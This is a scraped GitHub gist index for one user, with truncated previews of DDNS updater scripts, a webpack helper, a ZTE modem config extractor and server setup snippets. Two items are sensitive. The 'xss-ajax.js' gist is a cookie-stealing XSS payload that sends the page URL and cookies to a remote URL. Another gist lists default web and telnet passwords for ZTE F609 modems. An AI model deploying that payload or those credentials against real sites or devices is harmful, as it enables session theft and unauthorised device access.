Skip to content

Instantly share code, notes, and snippets.

💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
Block or report user

Report or block ndunks

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ndunks
ndunks / ddns-update
Last active Jul 18, 2019
Namecheap DDNS Updater Bash Script
View ddns-update
# make it executable `chmod +x ddns-update`
# move it path `mv ddns-update /usr/bin/`
# setup cronjob for every 15 minutes `crontab -e`
# */15 * * * * ddns-update >/dev/null 2>&1
# dont forget to change your own domain & password
# uncomment if you want internet connection check before running
#while ! ping -c 1 -W 1 8.8.8.8; do
# echo "DDNS-UPDATE: Waiting internet connection.."
# sleep 2
@ndunks
ndunks / email-getnada.spec.ts
Created Jun 27, 2019
Getnada email client API for browser with typescript implementation
View email-getnada.spec.ts
// Jasmine Standalone testing suite
import { GetnadaClient, ListResponse } from "./email-getnada";
(jasmine.getEnv() as any) .configure({random: false, oneFailurePerSpec: true, failFast: true});
let listResponse: ListResponse;
describe('Plugins testing getnada api client', () => {
const email = 'learner@getnada.com';
const api = new GetnadaClient(email);
@ndunks
ndunks / webpack.external.js
Created Jun 21, 2019
Get list of excluded module in webpak config
View webpack.external.js
module.exports = function(){
var fs = require("fs");
var nodeExternal = {};
var pkg = JSON.parse(fs.readFileSync('package.json', { encoding: 'utf-8' }));
Object.keys(pkg.dependencies).forEach(function (name) {
nodeExternal[name] = "require('" + name + "')";
});
Object.keys(pkg.devDependencies).filter(function (v) { return !v.match(/@types/); }).forEach(function (name) {
nodeExternal[name] = "require('" + name + "')";
});
@ndunks
ndunks / paste-symlink.ps1
Created Sep 30, 2017
Windows 10 Add Copy-Paste as Symbolic Link or Junction
View paste-symlink.ps1
@ndunks
ndunks / zte_extract.py
Created Mar 23, 2018
Modem Indihome ZTE F609 Config Extract and Repack
View zte_extract.py
#!/usr/bin/env python
# https://reverseengineering.stackexchange.com/a/13395
import sys
import binascii
import struct
import zlib
if (len(sys.argv) <= 1):
print('USAGE:\n%s [configBak.cfg|config.bin]' % sys.argv[0])
exit(1)
@ndunks
ndunks / xss-ajax.js
Created Jan 29, 2019
XSS AJAX 3 Way
View xss-ajax.js
(function(w,d,u){
if(w['$'] && w['$'].post){
$.post(u,{u: d.location.href, c: d.cookie});
}else{
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join('');
console.log('FU: ', fu);
function planB(){
el = d.createElement('img');
el.onerror = el.onload = function(){ el.remove() }
el.src=fu; d.body.append(el);
@ndunks
ndunks / install-kimchi-ubuntu18.04.sh
Created May 12, 2018
Install kimchi on ubuntu 18.04 bionic
View install-kimchi-ubuntu18.04.sh
#For Indonesian server
#locale fix
sudo locale-gen id_ID.UTF-8
#change miror
sudo sed -i_old 's/archive.ubuntu.com/kambing.ui.ac.id/' /etc/apt/sources.list
sudo apt update
#INSTALL WOK
#build depencies
@ndunks
ndunks / cloudflare-ddns-update.sh
Created Dec 17, 2018
Cloudflare Update DNS IP with bash
View cloudflare-ddns-update.sh
#!/bin/bash
ip=$(curl -s https://api.ipify.org/)
echo "DDNS-UPDATE: Public IP is: $ip, Updating IP..."
host=home.klampok.id
curl -X PUT "https://api.cloudflare.com/client/v4/zones/00000000000000000000/dns_records/00000000000000000000000" \
-H "X-Auth-Email: *******@gmail.com" \
-H "X-Auth-Key: *******" \
-H "Content-Type: application/json" \
--data '{"type":"A","name":"home.klampok.id","content":"'"$ip"'","ttl":120,"proxied":false}' )
@ndunks
ndunks / dnsmasq-tester.sh
Last active Dec 17, 2018
dnsmasq DHCP Example and logging
View dnsmasq-tester.sh
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo ifconfig eth0 up 192.168.2.1
sudo dnsmasq --no-daemon --log-queries --log-dhcp \
--bind-interfaces --conf-file= --conf-dir= \
--interface=eth0 --except-interface=lo \
--dhcp-range=192.168.2.100,192.168.2.200,12h \
--listen-address=192.168.2.1
@ndunks
ndunks / modem-indihome-zte
Created Mar 21, 2018
Default login telnet/webuser modem indihome ZTE F609
View modem-indihome-zte
webuser
=======
admin:admin
admin:Telkomdso123
user:user
telnet
======
root:Zte521
You can’t perform that action at this time.